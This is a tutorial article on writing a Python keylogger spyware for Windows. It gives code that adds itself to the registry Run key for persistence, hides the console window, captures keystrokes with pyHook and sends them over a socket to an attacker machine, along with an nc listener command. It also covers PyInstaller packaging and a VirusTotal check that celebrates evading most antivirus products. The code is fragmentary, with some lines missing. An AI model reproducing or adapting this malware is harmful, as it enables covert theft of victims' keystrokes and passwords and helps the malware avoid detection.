Writing Your Own Malware
Hello All, First I would like to set our objectives and goals through this article, in this article we will have a small tutorial and example on how to write a malware using python, The target audience for this articles are the academic community who seeks to understand the working details of every thing and every tool they use, because at the end most tools are available online. However Learning the details is essential academically if you want to get improved and as we will see it’s not rocket science and some malware can consist of just simple lines of code.
I’m going to discuss the basic structure on how to write a malware, spyware or Trojans, We all know that there are many types of malwares including rootkits, ransom ware, key logger,…etc. In this article we will start our tutorial with a key logger spyware program that can infect a windows machine permanently without the end user knowledge.
Writing a key logger requires only basic coding skills. The programming language I will be using is Python since it is very effective when it comes to such programs.
Before demonstrating the code, I will be giving a brief explanation on the functioning of the script and the way it works. The script has four main functions:
- AddProgramToStartUp(): This function modifies a registry key called HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. Entries in this registry determine which programs should run during the computer’s startup or user’s login; this is a way to make the malware working permanently.
- HideCmd(): This function will hide any activity happening in the cmd so that the user does not suspect anything.
- SendToRemoteServer(): This function opens a socket level connection to the attacking machine in the purpose of sending it the keystrokes.
- GetKeyPressedAndSendIt(): This function receives the key pressed by the user and then sends it to the attacker using the function SendToRemoteServer().
Below is a little flowchart of the program Structure.
4. Python Source Code
##PyHook and Pythoncom are responsible for getting keystrokes
import pyHook, pythoncom
##socket will be used for channel creation between victim and the attacker
##the next modules are used for windows functions like editing registry keys and hide cmd function
import win32event, win32api, winerror,win32console,win32gui
from _winreg import *
def AddProgramToStartup(): ##Function Definition
##in python __file__ is an instant of the file path where it was executed so if the user excuted the file from the desktop t __file__ would be c:\users\username\desktop
##next appending the filename “malware.py”
##KeyVal is a raw string variable containing registry key name.
##python raw strings used in case we have / in our strings
##The next couple of codes is adding an entry in the registry key which will make our code run each time user logs in.
SetValueEx(key2change, “HacKeD”,0,REG_SZ, new_file_path)
##Creating and initializing variable called data which will hold the keystrokes and HOST_IP which is the attacker’s IP
def SendToRemoteServer(): ##Function Definition
global data ##Global variable which is the data to be sent
#Create a TCP socket and connect to the attacker machine on Port 500 ,These lines of code I believe most of python users aware of.
def HideCmd(): ##Function Definition.
window = win32console.GetConsoleWindow() ##Get a CMD
win32gui.ShowWindow(window,0) ##Hide the CMD Shell(Putting the value 0)
def GetKeyPressedAndSendIt(event): ##Function Definition
global data ##Global variable data which will hold key strokes
##The next peace of the IF Statements are responsible for changing the ASCI value of the letters to characters.
keys=chr(event.Ascii) ##if any letter is pressed get the character value of it’s Asci.
data=data+keys ##Put the key into the buffer
HideCmd() ##Hide The CMD
SendToRemoteServer() ##Send the Key logs to the remote server
##Now after defining all the functions it’s time for the main function which will be executed upon double clicking on the file.
##First it will call the AddProgramToStartUp () Function.
##Next the part is to get key strokes from the keyboard, This can be easily done done using pyhook and pythoncomp
##The below link explains how to get mouse events and keyboard events using python(PyHook and Pythoncom Modules)
hm = pyHook.HookManager()
##Call the function GetKeyPresseedAndSendIt()
hm.KeyDown = GetKeyPressedAndSendIt()
- It is mandatory to have a listener which should be implemented at the attacker machine on port 500 to receive the key logs, and this can be easily implemented using the bash.
nc -nlp 500 ##open a permanent listener on port 500 using nc
As you can see, it is not complicated to write personal key loggers, and the same thing applies to som malwares. The challenge now is running the script we have written before in a machine, such as Windows, where Python is not installed. The solution to this problem is Pyinstaller which is used to convert a Python script into an executable file. You only need to download Pyinstaller and run the command Pyinstaller –onefile <script>.py on the cmd.
This is a screenshot while running Pyinstaller, The output of the command will generate an exe file in the Pyinstaller directory.
6. Executable in action
After implementing both the key logger and the listener code, we will check if they are working. I am using my Linux Mint as the attacking machine and windows 7 as the Victim Machine. I first run the bash listener file using ./listener.sh.
Next When the user executes the file:
- First, an entry in the registry keys will be created
- Then, the CMD will be hidden from the user
- Finally, it will get the key log and send it to the attacker.
Now, waiting for the victim to execute the file, from the code when the user hits the file it should create an entry in the registry keys, Hide CMD, Get Key logs and send it to the attacker, Now Let’s see these in action.
- Adding the program to the computer’s Start Up in /Software/Microsoft/Windows/CurrentVersion/Run
2. Hiding the Cmd so that the user does not know anything about the programs’ functioning. It can also be a minor program which runs along with the keylogger after being executed. The process malware.exe is running and the cmd did not alert the user because it was hidden
3. The last step is receiving the keystrokes on my Linux mint
7. VirusTotal Detection Ratio
Since this is a personal code, I am going to check its detection ratio by antiviruses and antimalwares using virustotal.
Great! Our executable file can be detected by only two antiviruses (ClamAV,TheHacker), which means that we can bypass the most common used antiviruses like Kaspersky,AVE,Nod32. Therefore Knowing how to write a malware has also a bonus value despite digging in the details of how malware operates but also you will have a less chance of being detected by Antiviruses .
Thanks For your time! To have a look at the source code, please visit my Github repository.
About The Author
Khaled Sakr, Information Security Engineer at Security-Meter